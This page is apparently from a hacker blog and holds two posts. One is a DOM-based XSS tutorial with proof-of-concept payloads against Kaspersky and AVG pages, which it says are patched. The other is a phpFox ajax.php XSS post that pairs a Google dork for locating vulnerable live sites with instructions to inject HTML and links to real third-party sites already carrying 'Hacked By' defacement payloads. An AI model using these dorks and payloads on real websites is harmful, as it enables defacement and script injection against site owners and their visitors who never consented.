Pak Softwares Spot: New Xss Vul

DOM XSS TUT BY DARKSNIPPER

<div dir="ltr" style="text-align: left;" trbidi="on">
<img height="290" id="irc_mi" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGH0FYlYZZX-Nq76fNUg_fX4aeSD1K-KIqFui-IkQenat6M2lV2MrBKsB9bJUfXDb1rNTWSgrU3YxyfQLEEkF7Cq1j3qQQIkl9gEHtq9r8kI5LbNNIYEZ0SDqzqCD_3JnDFK1UsqrzNBVW/s1600/domXss2.png" style="margin-top: 52px;" width="410" /> 
what is Dom 
DOM is expanded as Document object model that allows 
client-side-scripts(Eg: Javascript) to dynamically access and modify the
 content, structure, and style of a webpage. 
Like server-side scripts, client-side scripts can also accept and manipulate user input with the help of DOM. 
 
Example 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code: 
</div>
<div class="body">
<div dir="ltr">
<code>< html>  < head> < /head> < body>    var pos=document.URL.indexOf(" madleetop =")+9;   //finds the position of value  var userInput=document.URL.substring(pos,document.URL.length);  //copy the value into userInput variable document.write(unescape(userInput));  //writes content to the webpage   < / body>< / html> </code></div>
</div>
</div>
i use spaces coz site is filterng my cntent nd remvng html tags. 
 
 
In the above example, the javascript code getsvalue from the url parameter "madleetop" and writes the value in our webpage. 
 
For Example If the Url is 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>www.madleets.com/snipper?madleetop=me</code></div>
</div>
the webpage will display "me" 
 
Did you notice ?! The part of the webpage is not written by Server-side 
script. The client side script modifies the content dynamically based on
 the input. Everything done with the help of DOM object 'document'. 
Hope you understand. 
 
DOM Based XSS vulnerability: 
 
When a web developer writes the content using DOM object without 
sanitizing the user input , it allow an attacker to run his own code. 
In above example, we failed to sanitize the input and simply displayed the whatever value we get from the url. 
An attacker with malicious intention can inject a xss vector instead . 
For example: 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>www.madleets.com/snipper?madleetop= alert("iammad")< / script></code></div>
</div>
the document.write function simply writes the value of madleetop 
parameter in the webpage. So it will write the 'alert("immad")< 
/script>' in the webpage without sanitizing. This results in running 
the script code and displays the alert box. 
More Information 
we can inject other sites like 
<a href="http://www.site.com/me.aspx" target="_blank">http://www.site.com/me.aspx</a> 
A user could inject code for example: 
 
< img src=f00bar onerror=prompt(" xss");> ...on the input text in the form nd click oN"Search" button 
example no 2 
kaspersky was also vulnerable to it 
let me explain how attacker did: 
The problem was located on a bad validation of location.hash coming from jQuery (which is alsooutdated) 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code: 
</div>
<div class="body">
<div dir="ltr">
<code>/*load current tab by url*/ //if($.url.param("tab"))$('a[name='+$.url.param("tab")+']').trigger('click'); var hash = location.hash; if (hash.indexOf("tab=") != -1) { hash = hash.replace(/^#tab=/, ""); $('a[name=' + hash + ']').trigger('click'); } </code></div>
</div>
</div>
If a user loads the "tab" parameter on the URL it will execute the code. 
Proof of concept: 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>http://www.kaspersky.com/tablet-security #tab= < img src=x onerror=prompt( "xs s");></code></div>
</div>
Note:it has been patched 
i used jus to make easy to explain. 
Example no 3. 
Avg was also Vulnerable to it,but they patched it. 
Poc: 
Due to the lack of escaping/encoding the URL onthe code present on file 
js_stdfull.js, a user could inject code into the website. 
 
Vulnerable code: 
//display the correct tab based on the url (#name) 
 
var pathname = $(location).attr('href');var urlparts = pathname.split("#"); 
Proof of concept: 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>http://www.avg.com/eu-en/download# " > < im g src=x onerror = prompt( / xss/ );</code></div>
</div>
thanks.
 </div>

DOM XSS TUT BY DARKSNIPPER

what is Dom DOM is expanded as Document object model that allows client-side-scripts(Eg: Javascript) to dynamically access and modify th...

New XSS Vulnerbility

<div dir="ltr" style="text-align: left;" trbidi="on">
 
<div style="border: 0px; line-height: 25.5px; margin: 0px 1em; outline: 0px; padding: 0px;">
So Today We Will talk About Some Advance In XSS phpFox (ajax.php) XSS Vulnerability</div>
<div style="border: 0px; line-height: 25.5px; margin: 0px 1em; outline: 0px; padding: 0px;">
PhpFox is a Php Script For Making Social Networking website,</div>
<div style="border: 0px; line-height: 25.5px; margin: 0px 1em; outline: 0px; padding: 0px;">
3.1 and some other versions of PhpFox are vulnerable For XSS.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnCC3D8PYRJmM9Md8Z5ZTJ92lGGEYSWjFtNqw1C4AFAsesmi0uk1nCbWDiNNKOOoPrTfVKajV06uGkndZRIRUuQuX3spKBeKdF8tNbhi-3P0_bnVGWp0mngrrhF66efK8ZzE8Z65BetQc/s1600/Untitled.jpg" imageanchor="1" style="background-color: black; margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnCC3D8PYRJmM9Md8Z5ZTJ92lGGEYSWjFtNqw1C4AFAsesmi0uk1nCbWDiNNKOOoPrTfVKajV06uGkndZRIRUuQuX3spKBeKdF8tNbhi-3P0_bnVGWp0mngrrhF66efK8ZzE8Z65BetQc/s640/Untitled.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div style="border: 0px; line-height: 25.5px; margin: 0px 1em; outline: 0px; padding: 0px;">
 </div>
 Google Dork :"intext:© · English (US) Powered By phpFox Version 3.0.1."  "inurl:/static/ajax.php?core" Open any website for search results with text :© · English (US) Powered By phpFox Version 3.0.1 or url xyz.com/static/ajax.php?core now You'll Get something Like This URL give below 
<div>
http://www.xyz/static/ajax.php?core[ajax]=true&core[call]=core.message&height=150&width=300&message=<div class="error_message">some message here&core[security_token]=99d754d2b583565369e194e30eaabcbc </div>
<div>
Now Chnage the Text &Message= Error....  (you have to replace the red text with your html Tags) To see Example 
Click On Below "Go Here" link<a href="http://mstudio84.com/gist/static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=860eb6a699d5d9f375b5e8cf0021c094&height=150&message=%20%3Ccenter%3E%3Cfont%20color=%22red%22%3E%3Ch2%3EHacked%20By%20Mr-Pakistan%3C/h2%3E%3Cbr%3E%3Ch1%3Ewww.Paksoftwaresspot.blogspot.com%3C/h1%3E%3Ca%20href='Www.facebook.com/KakaHacker'%3E%3Cimg%20src=%22http://i45.tinypic.com/348r7gn.jpg%22/%3E" target="_blank">Go Here</a>  
For example 2 Click On below"Example 2" link</div>
<div>
<a href="http://www.sacareerfocus.co.za/error.php?error=%3Ctitle%3EHacked%3C/title%3E%3Ccenter%3E%3Ch1%3Ehacked%3Ch1%3E%3Cbody%20bgcolor=%22red%22/%3E%3Cp%3E%3Cb%3EYou%20have%20been%20Hacked%20By%20Mr-Pakistan%3E%3C/b%3E%3C/p%3E%3Cimg%20src=%22http://t0.gstatic.com/images?q=tbn:ANd9GcTN4uz2ifRTDefV_N7O2ZLEnyNfWb5TooIwqmZSwxOe_XH-8FksHA%22/%3E%20%3Cmarquee%3E%3Cb%3EMr-Pakistan%20is%20Here%3C/b%3E%3C/marquee%3E" target="_blank">Example 2</a> And Thats It</div>
<div>
Leave Commentsss If some Problem</div>
</div>

New XSS Vulnerbility

So Today We Will talk About Some Advance In XSS phpFox (ajax.php) XSS Vulnerability PhpFox is a Php Script For Making Social Networking...